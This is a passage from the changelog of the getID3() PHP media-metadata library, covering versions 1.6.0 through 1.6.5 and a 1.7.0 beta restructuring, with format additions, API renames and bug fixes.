was made by - Allan Hansen - please send bug reports on this - beta directly to me. - - James Heinrich will release 1.7.0 final, but it may take some time - to work out the bugs from the major rewrite. - - This version could be called getID3lite. It makes a lot of checks - optional and makes it easy to remove support for undesired formats - - It also is more library-like. Older versions of getID3() declared - an incredible amount of global scope functions and defined several - constants. 1.7.0beta1 still declares constants, but they are all - prepended by GETID3_. It declares no global scope functions - they - are all wrapped into classes. - - » Made getID3() depend on iconv library: compile PHP --with-iconv - » Created new directory structure - Moved all demos to demos/ - Moved all getID3() files to getid3/ - Renamed most files to module.something - Changed header in all module.something to explain what they do - Simply remove all modules you don't need - Wrapped all modules into classes - * Bugfix: Implemented misc patches from Eugene Toder - * Bugfix: Implemented misc patches from "six" - ¤ Added root key 'encoding' - ¤ Added prefix GETID3_ to all defined constants. - ¤ Wrapped getid3.php into getid3 class - ¤ Wrapped getid3.functions.php into getid3_lib class - Removed unused functions - Moved several functions away from getid3.functions.php and - into the files where they are actually used. - Renamed getid3.functions.php to getid3.lib.php - Moved getid3.rgad.php functions into getid3_lib - Moved getid3.getimagesize.php funcitons ingo getid3_lib - ¤ Moved getid3.ogginfo.php into ogg module - ¤ Combined GetTagOnly() and GetAllFileInfo() in method analyze - ¤ Removed redundant and unuseful root keys - 'file_modified_time' == filemtime($filename) - 'md5_file' == md5_file($filename) - 'exist' == file_exists($filename) - ¤ Changed root key ['tags'] from array of string to array of array - of comments. - Simplified code for detecting base path. - Removed ob_ from InitializeFilepointerArray(). That was really a - ugly HACK to get output from fopen. If user want the reason, - he should open the file himself! - Checking for APE tags before lyrics3 - makes Lyrics3 not depend - on APE tag. It seems to work on my test file. - Changed ['error'] and ['warning'] in multiple files to append to - array instead of appending to string. That simplified code in - getid3.php too. - Simplified clean-up procedure: simply remove all empty root keys - Setting tags in individual modules instead of main getid3.php - Made Bonk and ASF modules non-dependent on id3 modules - id3 - optional. - Rewrote HandleAllTags() - simplified and convert comments to - desired encoding. - Replaced all calls to RoughTranslateUnicodeToASCII() in ASF module - with a TrimConvert() method. This uses iconv() for conversion. - It also converts from UNICODE instead of UTF-16BE, as the spec - says it should. - Replaced all calls to RoughTranslateUnicodeToASCII() in id3v2 - module with iconv(). id3v2 module also reads - $ThisFileInfo['encoding'] and converts all comments to this - format. All other formats just add their comments in their - native charset, but every comment field in id3v2 can have a - different encoding, so this is needed. - Did same thing as above with ISO module. However - it does not - work. I need to find out how to specify big-endian unicode != - UNICODING encoding name given to iconv(). - Built-in assume mp3 format in getid3.php - Temporarily nuked root key ['comments'] and CopyCommentsToRoot() - Updated demo/audioinfo.class.php - Updated demo/check.php - some thing don't work! - Other demos are out of order! - - -1.6.5: [October-06-2003] James Heinrich - » Added support for LiteWave (thanks supportØclearjump*com) - Ø Split out speedup info from ['OFR']['OFR']['compression'] into - ['OFR']['OFR']['speedup'] - Ø If EXIF functions for JPEG not available, now warning not error - Ø ID3v2 track number now returned as string (with leading zeros, - if present in data) rather than integer (thanks Plamen) - * Bugfix: now correctly parses cbSize element of WAVEFORMATEX - structure (thanks supportØclearjump*com) - * Bugfix: ASF module now reads non-standard field names, - i.e. "date" as well as WM/Year - patch from Eugene Toder. - * Bugfix: ASF module now returns genre as-is if it is not a - standard ID3v1 genre (thanks wonderboy) - * Bugfix: ['audio']['compression_ration'] missing for MPC - (thanks WaldoMonster) - Prevent infinite loop in MP3 histogram if framelength == 0 - Added wFormatTag values 0x00FF and 0x2001 - 0x2005 - (thanks steveØheadbands*com) - Added "twos" and "sowt" FourCCs for Mac AIFC - - -1.6.4: [June-30-2003] James Heinrich - » Added support for free-format MP3s - (thanks Sebastian Mares for the idea) - » Compressed (Flash 6+) SWF files are now handled properly - (thanks alan*cheungØalumni*ust*hk) - » Added DeleteLyrics3() to getid3.lyrics3.php - » Added FixID3v1Padding() to getid3.putid3.php - » Added new simple MP3-splicing sample file - (thanks tommybobØmailandnews*com for the idea) - New file: getid3.demo.joinmp3.php - » Moved all contents of getid3.putid3.php into either - getid3.id3v1.php or getid3.id3v2.php or getid3.functions.php as - appropriate - Removed file: getid3.putid3.php - ¤ ['error'] and ['warning'] keys now return as arrays, not strings - ¤ New root key for all files: ['file_modified_time'] (UNIX time) - ¤ getid3.demo.scandir.php renamed to getid3.demo.mysql.php - ¤ New demo file returns the MIME type only for a single file - (thanks adminØe-tones*co*uk for the idea) - New file: getid3.demo.mimeonly.php - ¤ Added check for valid ID3v1 padding (strings should be padded - with null characters but some taggers incorrectly use spaces). - A warning will be generated if padding is invalid. New boolean - key ['id3v1']['padding_valid'] indicates padding validity. - ¤ CleanUpGetAllMP3info() removes more useless root keys for - unknown-format files - ¤ Extended LAME information in ['mpeg']['audio']['LAME'] is now - only returned for LAME v3.90+ - ¤ LAME-encoded MP3s now return - ['mpeg']['audio']['LAME']['long_version'] as well as - ['mpeg']['audio']['LAME']['short_version'] - these are identical - in LAME v3.90+ but older versions will report longer more - detailed version information if available - ¤ New Lyrics3 values: ['lyrics3']['raw']['offset_start'] and - ['lyrics3']['raw']['offset_end'] - ¤ New optional parameter on getAPEtagFilepointer() to scan from a - defined offset rather than end-of-file to allow scanning of APE - tags before Lyrics3 tags - ¤ ['tag_offset_start'] and ['tag_offset_end'] are now present in - ['ape'], ['lyrics3'], ['id3v1'] and ['id3v2'] - ¤ Numerous changes to the returned structure and content for La - files, including parsing the seektable (if applicable) and - parsing RIFF data occuring after the end of the compressed audio - data (notably RIFF comments) - (thanks mikeØbevin*de) - ¤ getSWFHeaderFilepointer() now has optional 3rd parameter - $ReturnAllTagData (default == false) which if set to true will - return data on all tags in ['swf']['tags'] - ¤ ['swf']['bgcolor'] now returns the 6-character string - representing the background color in HTML hex color format - (thanks ubergeekØubergeek*tv) - ¤ ['swf']['header']['frame_delay'] is no longer returned - ¤ getQuicktimeHeaderFilepointer() now has two additional optional - parameters: $ReturnAtomData (default == true) and - $ParseAllPossibleAtoms (default == false). Setting - $ReturnAtomData to false will reduce the size of the returned - data array by unsetting ['quicktime']['moov'] before returning. - Leaving $ParseAllPossibleAtoms as false now suppresses parsing - of several atom types that contain very large tables of data - that are not typically useful. Atom type suppressed are: - stts, stss, stsc, stsz, and stco - (thanks ubergeekØubergeek*tv) - ¤ ['fileformat'] no longer set to 'id3' if ID3v1 or ID3v2 tag - detected but no other data format recognized - * Bugfix: La files now return the correct values for - ['avdataoffset'] and ['avdataend'] and therefore the correct - values for ['md5_data'] - note that ['md5_data'] values will not - match values from previous versions of getID3() - the previous - versions were incorrect - (thanks mikeØbevin*de) - * Bugfix: A temporary file was being created in the web server's - root directory (not DocumentRoot) each time ['md5_data'] was - calculated, and not removed due to lack of permissions. Temp - file is now created (as it was supposed to be) in the directory - of the file being examined, or the system temp directory, and - properly removed when done. - * Bugfix: Several incorrect values were being returned inside - ['mpeg']['audio']['LAME'] (thanks bouvigneØmp3-tech*org) - * Bugfix: SWF frame rates values were usually incorrect. - (thanks alan.cheungØalumni*ust*hk and ubergeekØubergeek*tv) - * Bugfix: ID3v2.2 files always flagged 4 bytes of invalid padding - (thanks marcaØmac*com) - * Bugfix: Lyrics3 without ID3v1 was not working properly - * Bugfix: Lyrics3, APE & ID3v1 can all now exist in the same file. - A warning is issued if APE comes after Lyrics3 (because Lyrics3- - aware taggers probably are not APE-aware and therefore won't be - able to find the Lyrics3 tag) (thanks mp3gainØhotmail*com) - * Bugfix: WriteAPEtag() now writes the APE tag before any Lyrics3 - tags (if present) and removes any incorrect ones that are after - existing Lyrics3 tags (thanks mp3gainØhotmail*com) - * Bugfix: RIFF-WAVE file with incorrect NumberOfSamples values in - the 'fact' chunk no longer cause incorrect playtime calculation - (thanks stprasadØindusnetworks*com) - * Bugfix: getid3.demo.simple.php had undefined variables if the - file needed to be deep-scanned with assumeFormat - * Bugfix: fixed previously-incorrect ['avdataend'] values for APE - and Lyrics3 tags in some cases, which in some cases means that - ['md5_data'] is different than previously (now correct) - Much-improved detection of AAC-ADTS, which also means MP3 - format detection should now be nearly twice as fast - Truncated AVIs and WAVs are now reported - Number of new features and bugfixes in getid3.demo.mysql.php - Quicktime 'meta' atoms now parsed, so Quicktime MP4 files can now - return artist, title, album, etc (thanks spunkØdasspunk*com) - Consolidated all comments processing functions (processing the - ['comments'] and ['tags'] keys) into HandleAllTags() which now - also checks to ensure that APE tags are really better than ID3v2 - before using them in ['comments'] - Known issue with Meracl ID3 Tag Writer v1.3.4 truncating last byte - of MP3 file when appending new ID3v1 tag now specifically noted - (rather than generic Probably Truncated File message) - getid3.demo.mysql.php now stores last-modified time for each file - getid3.demo.mysql.php is now case-sensitive for filenames - getid3.demo.mysql.php can generate M3U playlists of any of the - groups of files it can select (duplicate filenames, tag types, - etc.) - getid3.demo.mysql.php can now find mismatched tag contents and - filenames - getid3.demo.check.php now shows total number of errors & warnings - GetFileFormatArray() now matches actual patterns for MP3 files - based on the first two bytes of the file, rather than just the - first one - Simplified DeleteAPEtag() and made it work properly with Lyrics3 - - -1.6.3: [May-17-2003] James Heinrich - » Added support for Bonk (thanks ahØartemis*dk) - New file: getid3.bonk.php - » Added support for AVR (thanks ahØartemis*dk) - New file: getid3.avr.php - ¤ Contents of getid3.id3.php moved to getid3.id3v1.php - Removed file: getid3.id3.php - ¤ Contents of getid3.frames.php moved to getid3.id3v2.php - Removed file: getid3.frames.php - ¤ Returned data structure documentation improved and updated and - now stored in getid3.structure.txt rather than getid3.readme.txt - New file: getid3.structure.txt - ¤ Now including the GNU General Public License in the distribution - as getid3.license.txt - New file: getid3.license.txt - ¤ Added new, optional, parameter to WriteAPEtag() (and also - GenerateAPEtag()) which must be set to TRUE if the values you - are passing are already UTF8-encoded, otherwise all data is - encoded to UTF8 by default. For all ASCII/ANSI data this value - should be left at the defaul value of FALSE. - ¤ Added third, optional, parameter to getID3v2Filepointer() - - $StartingOffset (default == 0) which can parse an ID3v2 tag - in a file at a position other than the start-of-file. - ¤ ['video']['pixel_aspect_ratio'] now returned when known - ¤ AVI files with WMA audio now return ['audio']['dataformat'] - of 'wma' rather than 'wav' - ¤ ASF-WMA files now return the artist value from WM/AlbumArtist - in ['comments']['artist'] (thanks msibbaldØsaebauld*com) - ¤ ASF-WMA files now return the 'author' value from - ['asf']['content_description'] in ['comments']['artist'] - instead of ['comments']['author'] - ¤ ASF-WMA files now return the 'description' value from - ['asf']['content_description'] in ['comments']['comment'] - instead of ['comments']['description'] - * Bugfix: APE tag writing with multiple values for a tag (more - than one ARTIST for example) was not being correctly written - (thanks ahØartemis*dk) - * Bugfix: CreateDeepArray() was returning an empty-string key as - the top-level returned value - ['iso']['files'] now directly - contains the file listing without an empty array in between. - * Bugfix: ID3v2 genreid was not being returned in some cases. - * Bugfix: APEv1 tags would generate error messages - * Bugfix: APE tags would sometimes show phantom second entry for - each item (title, artist, etc) with no data - * Bugfix: APE tag writing was not UTF8-encoding the data - - non-ASCII characters (above chr(127)) were being incorrectly - stored (thanks ahØartemis*dk) - * Bugfix: getid3.demo.scandir.php had undefined function error - * Bugfix: getid3.demo.scandir.php would not display list of files - with no tags - Added link to getid3.demo.check.php from list of specific-tags - files in getid3.demo.scandir.php - - -1.6.2: [May-04-2003] James Heinrich - » New official mirror site for getID3() - https://www.getid3.org - » Added basic support for SWF (Flash) (thanks n8n8Øyahoo*com) - New file: getid3.swf.php - » Added experimental support for parsing the audio portion of - MPEG-video files. I don't have any actual documentation for - this, so this part is experimental and not guaranteed accurate, - but it seems to be working OK as far as I have been able to test - it. Bug reports (or even better - documentation!) are welcome at - info@getid3.org - » Added new simple directory-scanning sample file - New file: getid3.demo.simple.php - » getid3.demo.write.php now writes APE tags as well. - ¤ Renamed getid3.write.php to getid3.demo.write.php - ¤ Renamed audioinfo.class.php to getid3.demo.audioinfo.class.php - ¤ getid3.php now automatically includes the getid3.functions.php - function library file, no need to include it seperately. - ¤ getLyrics3Filepointer() has been changed to be consistant with - all the other similar function structures - the parameters have - changed. The old function has been renamed to getLyrics3Data() - ¤ Added DeleteAPEtag() function to getid3.ape.php - ¤ HandleID3v1Tag() now only handles ID3v1. Lyrics3 processing is - now done by HandleLyrics3Tag() - ¤ If BitrateHistogram is enabled in getOnlyMPEGaudioInfo() it now - also returns ['mpeg']['audio']['version_distribution'] showing - the number of frames of each MPEG version (1, 2 or 2.5) - all - frames *should* be of the same MPEG version - ¤ getID3v1Filepointer() always returns TRUE now, even if it didn't - find a valid ID3v1 tag - ¤ getOnlyMPEGaudioInfo() now looks for MPEG sync in the first 128k - bytes rather than the first 64k bytes - ¤ Added dummy function GetAllMP3info() to generate warning not to - use that deprecated function. - ¤ ['video']['codec'] is now 'MPEG' for all MPEG video files (this - will change to 'MPEG-1' or 'MPEG-2' as soon as I figure out how - to determine that) (thanks jigalØspill*nl) - ¤ ['mpeg']['audio']['LAME']['mp3_gain'] renamed to - ['mpeg']['audio']['LAME']['mp3_gain_db'] (gain in dB) - ¤ Added ['mpeg']['audio']['LAME']['mp3_gain_factor'] (gain as a - multiplication factor) - ¤ Added support for Preset and Surround Info bytes from LAME VBR - tag (http://gabriel.mp3-tech.org/mp3infotag.html) - * Bugfix: APE tag writing would put the string 'Array' for all - values rather than the actual data (thanks ahØartemis*dk) - * Bugfix: Warning now generated for VBR MPEG-video files because - getID3() cannot determine average bitrate. If you know of - documentation that would tell me how to do this, please email - info@getid3.org - * Bugfix: Replay Gain values from Vorbis comments are now - returned in ['replay_gain'] (and not in ['comments']) - (thanks ahØartemis*dk) - * Bugfix: Replay Gain values from APE comments are now correctly - returned in ['replay_gain'] (thanks ahØartemis*dk) - * Bugfix: getid3.demo.check.php is now case-insensitive when - assuming a format for a corrupted file if standard detection - does not identify the file type. - * Bugfix: RIFF comments were overwriting/suppressing ID3 comments - for RIFF-MP3 files (thanks wmØwofuer*com) - * Bugfix: RIFF-MP3 files with 'RMP3' chunks instead of 'WAVE' were - not being correctly identified. - * Bugfix: ID3v2 padding shorter than the length of an ID3v2 frame - header was not correctly detected - * Bugfix: getid3.demo.check.php now does in-depth scanning for MP2 - and MP1 files the same as for MP3 files based on file extension - if a MPEG-audio structure isn't found immediately at the start - of the file - * Bugfix: removed condition where RIFF-WAV was being scanned for - MPEG-audio signature when it shouldn't be present (non-MP3 WAV) - * Bugfix: ASF files were not always showing correct audio datatype - * Bugfix: array_merge_clobber() and array_merge_noclobber() were - not being conditionally defined in getid3.functions.php - (thanks rich.martinØreden-anders*com) - * Bugfix: stream_numbers was not being correctly returned in - bitrate_mutual_exclusion_object chunks of ASF files - * Bugfix: Added support for 24kHz and 12kHz audio in ASF files - * Bugfix: Removed possible undefined offset error in MP3s where - cannot find synch before end of file - * Bugfix: Removed potential out-of-memory crash situation when - parsing Real files with chunks larger than the available memory - (thanks jigalØspill*nl) - * Bugfix: ID3v1 was incorrectly taking precedence over ID3v2 in - the ['comments'] array (thanks lionelflØwanadoo*fr) - * Bugfix: No longer calculates overall bitrate and playtime for - VBR MPEG video files based on the audio bitrate. - * Bugfix: AssumeFormat was not working properly - Added summary footer line to getid3.demo.check.php - Added '.mpeg' to the list of assume-format-from-filenames list in - getid3.demo.check.php - MPEG-video files now more reliably detected - A number of additional features have been added to - getid3.demo.scandir.php - Added many RIFF-AVI audio types and fourcc video types to the - lookup functions in getid3.riff.php - Now identifes files with Lyrics3 v1 tags that are of incorrect - length (v1 Lyrics3 is supposed to be 5100 bytes long, but - [unknown program] writes variable-length tags (which is illegal - for Lyrics3 v1)). getID3() now correctly parses these tags and - issues a warning. - Split GetFileFormat() to GetFileFormat() and GetFileFormatArray() - HTML colors in getid3.demo.check.php are now defined as constant - variables at the top of the file (if you want to change them) - Added support for OptimFROG v4.50x (non-alpha) (new header fields) - (thanks floringhidoØyahoo*com) - Added support for Lossless Audio v0.4 (thanks mikeØbevin*de) - - -1.6.1: [March-03-2003] James Heinrich - » Added support for writing APE v2. - WriteAPEtag() in getid3.ape.php - NOTE: APE v1 writing support will *not* be added to future - versions of getID3() - (thanks ahØartemis*dk and adamØphysco*com for the idea) - » Added support for AIFF (Audio Interchange File Format) including - AIFF, AIFC and 8SVX (thanks ahØartemis*dk for the idea) - Removed file: getid3.aiff.php - » Added support for OptimFROG (v4.50a and v4.2x) - (thanks ahØartemis*dk for the idea) - New file: getid3.optimfrog.php - » Added support for WavPack (thanks ahØartemis*dk for the idea) - » Added support for LPAC (thanks ahØartemis*dk for the idea) - » Added support for NeXT/Sun .au format - New file: getid3.au.php - » Added support for Creative SoundBlaster VOC format - New file: getid3.voc.php - » Added support for the BWF (Broadcast Wave File) RIFF chunks - "bext" and "MEXT" (thanks Ryan and njhØsurgeradio*co*uk) - » Added support for the CART (Broadcast Wave File) RIFF chunks - (thanks Ryan) - » Added getid3.demo.scandir.php - a sample recursive scanning demo - that scans every file in a given directory, and all sub- - directories, and stores the resulting data in MySQL database, - and then displays a list of duplicate files based on md5_data - ¤ ['md5_data_source'] now contains the MD5 value for the original - uncompressed data for formats that store that information - (currently only FLAC v0.5+). ['md5_data'] (if chosen to be - calculated) will contain the calculated MD5 value for the - compressed file. To check if 2 files are identical in every way, - including all comments: compare ['md5_file']. To check if two - files were compressed from the same source file: compare - ['md5_data_source']. To check if the compressed audio/video data - of two files is identical, even if comments or even the - container file format is different (MP3 in RIFF container, - FLAC in Ogg container, etc): compare ['md5_data']. - ¤ ['md5_data'] for 8-bit WAV files is now calculated based on a - converted version of the data from unsigned to signed (MSB - inverted) to match the MD5 value calculated by FLAC - ¤ New optional parameter added to GetAllFileInfo() - - $MD5dataIfMD5SourceKnown (default: false). If false the md5_data - value will NOT be calculated for files (such as FLAC) that have - ['md5_data_source'] set, even if $MD5data == true. - (thanks ahØartemis*dk) - ¤ getid3.check.php renamed to getid3.demo.check.php - ¤ Added GetTagOnly() function to getid3.php - similar to - GetAllFileInfo() except only takes a filename as a parameter and - only returns ID3v2, APE, Lyrics3 and ID3v1 tag information - no - attempt is made to parse the data contents of the file at all. - (thanks Phil for the idea) - ¤ Added ['audio']['lossless'] and ['video']['lossless'] for all - formats (when known). Both are boolean values - true means the - data is lossless-compressed, false means the data is lossy- - compressed. - ¤ Added ['audio']['compression_ratio'] and/or - ['video']['compression_ratio'] for all formats. Returns a number - (usually) less than 1, where 1 represents no compression and 0.5 - represents a compressed file half the size of the original file - ¤ Added ['video']['bits_per_sample'] to all video formats (when - known) - ¤ Added ['video']['frame_rate'] to all video formats (when known) - ¤ ['fileformat'] set to 'mp1' or 'mp2' instead of 'mp3' when - ['audio']['dataformat'] is one of those (thanks ahØartemis*dk) - ¤ Added 4th parameter to md5_data(), $invertsign, which will invert - the MSB of each byte before MD5'ing. This is needed for 8-bit - WAV files because FLAC calculates the stored MD5 value on - signed data rather than the original byte values. ['md5_data'] - of an 8-bit WAV will now match the ['md5_data_source'] value - (thanks lichvarmØphoenix*inf*upol*cz) - ¤ ['ape']['items']['data'] and ['ape']['items']['data_ascii'] now - contains an array of values, if the tag contains UTF-8 text (as - opposed to binary data) - ¤ ['mpeg']['audio']['bitratemode'] renamed to - ['mpeg']['audio']['bitrate_mode'] - * Bugfix: Removed potential bug that could replace all MP3 file - contents with only the new ID3v2 tag in getid3.putid3.php - * Bugfix: md5_data values calculated for RIFF (WAV, AVI) files - were incorrect (thanks ahØartemis*dk) - * Bugfix: MP3 data in an MP4 wrapper fileformat could not identify - bitrate (thanks ahØartemis*dk) - * Bugfix: ['audio'] and/or ['video'] keys would sometimes get - removed even if not empty - * Bugfix: Prevented creation of null entries in - ['RIFF']['WAVE']['INFO'] if a comment entry was not present - * Bugfix: Potential infinite-loop condition in getid3.ogg.php - (thanks afshin.behniaØsbcglobal*net) - * Bugfix: Ogg files with illegal ID3v1 (and/or APE or Lyrics3) - tags were not finding the last Ogg page - (thanks afshin.behniaØsbcglobal*net) - * Bugfix: replay-gain values not properly set from LAME tag - * Bugfix: RIFF-MP3 had incorrect md5_data - * Bugfix: the LAME DLL CBR problem of not re-writing the LAME - frame at the beginning of the data is now detected for MP3s - with ID3v2 tags as well - * Bugfix: APE tags with multiple values (ie multiple entries in - the "artist" tag) are now shown properly in ['ape']['items'] - * Bugfix: fixed condition where APE tag with no ID3v1 tag could be - mistaken for APE tag with ID3v1 (and incorrectly parsed) - * Bugfix: added warning if ID3v2 frame has zero-length data - (thanks cmassetØclubinternet*fr) - * Bugfix: getid3.frames.php looking for non-existant key in USER - frames - Improved detection of RIFF-MP3 data. [unknown program] encodes - RIFF-WAV data with a chunk name of 'RMP3' instead of the - standard 'RIFF' - Encoder now returned in both ['comments'] and ['audio']['encoder'] - for RIFF-WAV files with an INFO.ISFT chunk - Generate a warning for FLAC files encoded with v0.3 or v0.4 - because audio_signature is not calculated during encoding - (thanks ahØartemis*dk) - Modified getid3.check.php to display md5_data_source as well as - md5_file and md5_data if display-MD5 mode is selected - Modified getid3.check.php to assume-format based on file extension - in browse mode if fileformat is found to be 'id3' (formerly only - if the fileformat was null) - Changed scaling of BitrateColor() from representing 1-256kbps to - representing 1-768kbps for better display of high-bitrate files, - specifically lossless-compressed CD-audio (FLAC, LA, etc) - - -1.6.0: [January-30-2003] James Heinrich - » Added support for OggFLAC (FLAC data stored in an Ogg container) - (thanks ahØartemis*dk for the idea) - » Added support for Speex (the data stored in an Ogg container) - » Comments are now available in the root 2-dimensional array - ['comments'] - each entry in this array will contain one or more - strings. For example, if there are two artists then - ['comments']['artist'][0] will contain the first one and - ['comments']['artist'][1] the other. All keys are forced - lowercase. Comments will be stored in the ['comments'] array in - this order of precedence: - 1) Native format tags (ASF, VQF, NSV, RIFF, Quicktime, Vorbis) - 2) APE tags - 3) ID3v2 - 4) Lyrics3 - 5) ID3v1 - Lower-priority tags will not overwrite or append existing values - of higher-priority tags (for example, 'artist' in ID3v1 will be - ignored if already specified in APE), but missing values will be - filled in (for example, if 'album' is specified in ID3v2 but not - in APE, it will be included in the ['comments'] array). - Note: Root keys (['title'], ['artist'], etc) are NOT available - in this or future versions of getID3(). - (thanks ahØartemis*dk) - » MD5 hashes are now available for all formats for both the entire - file (['md5_file']) and the portion of the file containing only - the audio/video data, stripped of all prepended/appended tags - like ID3v2, ID3v1, APE, etc - ['md5_data'] - (thanks ahØartemis*dk for alternate md5_file() function that - runs on UNIX system running PHP < 4.2.0) - NOTE: Ogg files require the use of vorbiscomment to obtain the - md5_data value. vorbiscomment must be downloaded from - http://www.vorbis.com/download.psp and placed in the getID3() - directory. All Ogg formats (Vorbis, OggFLAC, Speex) are affected - by this problem, but only OggVorbis files can be processed with - vorbiscomment. OggFLAC and Speex files will be processed by - getID3(), but this may result in an incorrect value for md5_data - in the event that VorbisComments are larger than 1 page (4-8kB). - NOTE: md5_data for Ogg will not work if PHP is running in Safe - Mode - » There is now a wrapper class available, written by Allan Hansen, - which should simplify extracting most common basic information - (such as format, bitrate, comments). - New file: audioinfo.class.php - » OggWrite() in getid3.ogginfo.php has been replaced with a new - version that uses vorbiscomment to write the comments, because - of a reported bug that can corrupt OggVorbis files such they - cannot be played. - NOTE: Ogg comment writing now requires the use of vorbiscomment - which must be downloaded from http://www.vorbis.com/download.psp - and placed in the getID3() directory. - NOTE: Ogg comment writing will not work if PHP is running in - Safe Mode - ¤ New root key ['tags'] is now always returned for all formats. - It is an array that may contain any of: - * Native format tags: 'vqf', 'riff', 'vorbiscomment', 'asf', - 'nsv', 'real', 'midi', 'zip', 'quicktime' - * Appended data tags: 'ape', 'lyrics3', 'id3v2', 'id3v1' - ¤ New root key ['audio'] is an array containing any or all of: - codec, channels, channelmode, bitrate, bits_per_sample, - dataformat, bitrate_mode, sample_rate, encoder - Note: This replaces several root keys, including: - bitrate_audio, bits_per_sample, frequency, channels - ¤ New root key ['video'] is an array containing any or all of: - bitrate_mode, bitrate, codec, resolution_x, resolution_y, - resolution_y, frame_rate, encoder - Note: This replaces several root keys, including: - bitrate_video, resolution_x, resolution_y, frame_rate - ¤ ['id3']['id3v1'] has moved to ['id3v1'] - ¤ ['id3']['id3v2'] has moved to ['id3v2'] - ¤ ['audiodataoffset'] and ['audiodataend'] have been renamed to - ['avdataoffset'] and ['avdataend'] respectively - ¤ GetAllMP3info() has been changed to GetAllFileInfo() with a - different parameter list ($allowedFormats is no longer a - parameter). Check your code where you're calling - GetAllMP3Info() - you will need to change both the function - name and the parameter list if you pass more than 2 parameters - ¤ All formats now return ['audio']['dataformat'] and/or - ['video']['dataformat'] where appropriate - this goes along with - ['fileformat'] - ['fileformat'] will return the actual structure - of the file, whereas ['dataformat'] will return the format of - the data inside that structure. For example, an Ogg file can - contain Vobis data (normal), or it can contain FLAC data in the - Ogg container format. In that case, ['fileformat'] would be - 'ogg', but ['dataformat'] would be 'flac'. - Note: this means that WAV and AVI files now return a - ['fileformat'] of 'riff' rather than 'wav' or 'avi'. - ¤ ['filesize'] is no longer returned for files larger than 2GB - because PHP does not support large file access. Attempting to - parse a file larger than 2GB will result in a message stored in - ['error'] and ['filesize'] not set. - ¤ APEtag, ID3v1, and ID3v2 are now supported on ALL multimedia - files - even if illegal by format. Ogg will return warning if - ID3/APE tags are present. (thanks ahØartemis*dk) - ¤ All files: non-critical errors are now returned in the root key - ['warning'] rather than ['error'] (only critical errors that - prevent getID3() from correctly parsing the file are returned in - ['error'] (thanks ahØartemis*dk) - ¤ Renamed all references to $MP3fileInfo to $ThisFileInfo - ¤ Joliet now supported for ISO-9660. - ['iso']['supplementary_volume_descriptor'] is now returned, if - available, and ['iso']['files'] will contain ASCII equivalents - of the Unicode directory structure & filenames stored. - ¤ Moved Monkey's Audio code from getid3.ape.php to seperate file. - New file: getid3.monkey.php - ¤ Added new keys for ISO-9660: ['name_ascii'] for directories, - ['file_identifier_ascii'] for files - ¤ Added root key ['track'] for CD-audio files - ¤ Ogg/Vorbis-comment files now have comments returned inside - ['ogg']['comments_common'] as an array of strings, rather than - simple strings in ['ogg'] - ¤ Quicktime files now have comments returned inside - ['quicktime']['comments'] as an array of strings, rather than - simple strings in ['quicktime'] - ¤ ['mime_type'] is a new root key returned for all supported - formats (thanks ahØartemis*dk) - ¤ ['fileformat'] now returns 'mp1' instead of 'mp3' for MPEG-1 - layer-I audio files (thanks ahØartemis*dk) - ¤ ['mpeg']['audio']['bitratemode'] now returns lowercase - ¤ MPEG-4 audio files which consist of MP3 data wrapped in a - Quicktime fileformat will now return the usual data in - ['mpeg']['audio'] - ¤ Type-1 DV AVIs are now supported - ¤ DV AVIs will return 1 or 2 in ['RIFF']['video'][x]['dv_type'] - ¤ Changed ['fileformat'] from 'mpg' to 'mpeg' for MPEG video files - ¤ ASF comments are now stored in ['asf']['comments'] instead of - ['asf'] - ¤ RealMedia chunk data is now returned inside ['real']['chunks'] - instead of ['real'] - ¤ ['replay_gain'] now properly populated from APE tags - ¤ Added support for ASF_Old_ASF_Index_Object in ASF files - (thanks ahØartemis*dk) - ¤ AAC-ADTS files now return ['aac']['bitrate_distribution'] - ¤ ParseVorbisComments() has been replaced with - ParseVorbisCommentsFilepointer() (with different parameters) - ¤ All references to any key ['frequency'] are now ['sample_rate'] - ¤ Moved ID3v2 comments from ['id3v2'] into common root - ['comments'] structure, and now returns more values than before - * Bugfix: ['iso']['files'] and ['zip']['files'] could potentially - contain duplicate entries (in a numeric-indexed array) for files - if the directory structure specifies files multiple times. - Entries are now guaranteed unique, with the last entry for the - file overwriting any former ones. - * Bugfix: RIFF parsing had numerous issues, including: - - large AVIs would take a very very long time to parse - - chunks with odd (not even) sizes would cause the parser fail - - video and/or audio codecs not always identified - The ParseRIFF() function has been completely rewritten and fixes - all known issues with RIFF parsing. Users are, however, - encouraged to double-check output of any parsed (AVI/WAV/CDDA) - files. - * Bugfix: Modified getid3.riff.php to return correct total - bitrates for AVIs with multiple audio streams - * Bugfix: GetFileFormat() was not creating array structure - correctly (thanks ahØartemis*dk) - * Bugfix: LAME tag for MP3s can only specify up to 255kbps, so any - files with actual CBR bitrate of >=256 were reported incorrectly - * Bugfix: Lyrics3 synched lyrics were not being correctly returned - * Bugfix: CreateDeepArray() was broken for non-nested cases, which - meant ZIP and ISO ['files'] structures were broken - * Bugfix: Incorrect pattern matching for ZIP files meant no zip - files were being detected as such - * Bugfix: AAC-ADIF was returning an incorrect number of channels - (too few) in some cases (thanks ahØartemis*dk) - * Bugfix: Vorbis comments were returning an incorrect value for - ['dataoffset'] in some cases - * Bugfix: MPEG video ['marker_bit'] and ['vbv_buffer_size'] were - incorrect - * Bugfix: ['playtime_string'] could potentially have a value of - x minutes and 60 seconds (ie 3:60 instead of 4:00) - Added support for FLAC cuesheets (FLAC 1.1.0+) - (thanks ahØartemis*dk) - Improved parsing speed in MP3, MP2 and AAC (thanks ahØartemis*dk) - Extra error-checking added to try and identify corrupt files for - most audio formats (thanks ahØartemis*dk) - More accurate playtime calculation for RealMedia - (thanks ahØartemis*dk) - Changed all relevant files to use ['audiodataoffset'] and - ['audiodataend'] rather than ['filesize'] where appropriate - (thanks ahØartemis*dk) - Added text encoding type 255 as a duplicate of UTF-16BE but with - Big-Endian rather than Little-Endian byte order - Added many RIFF-AVI audio types and fourcc video types to the - lookup functions in getid3.riff.php - Added numerous new known GUIDs to getid3.asf.php - Added PoweredBygetID3() function to easily get a "powered by" - string with the current getID3() version. - Added "Morgan Multimedia Motion JPEG2000" (MJ2C), "DivX v5" (DX50) - and "XviD" (XVID) codecs to list of known codecs in - getid3.riff.php - Changed GETID3_INCLUDEPATH path seperators to forced / - (from \ for Windows) - Modified getid3.check.php to only change \ directory seperators to - / on Windows operating systems - Modified getid3.check.php to handle larger-than-2GB files (which - now do not return a filesize) - Modified getid3.check.php to handle ['dataformat_audio'] and - ['dataformat_video'] - Modified getid3.check.php to show a list of present tags in one - column rather than one column for each of ID3v1, ID3v2, etc - Modified getid3.check.php to show MD5 values. Initially disabled - but can be 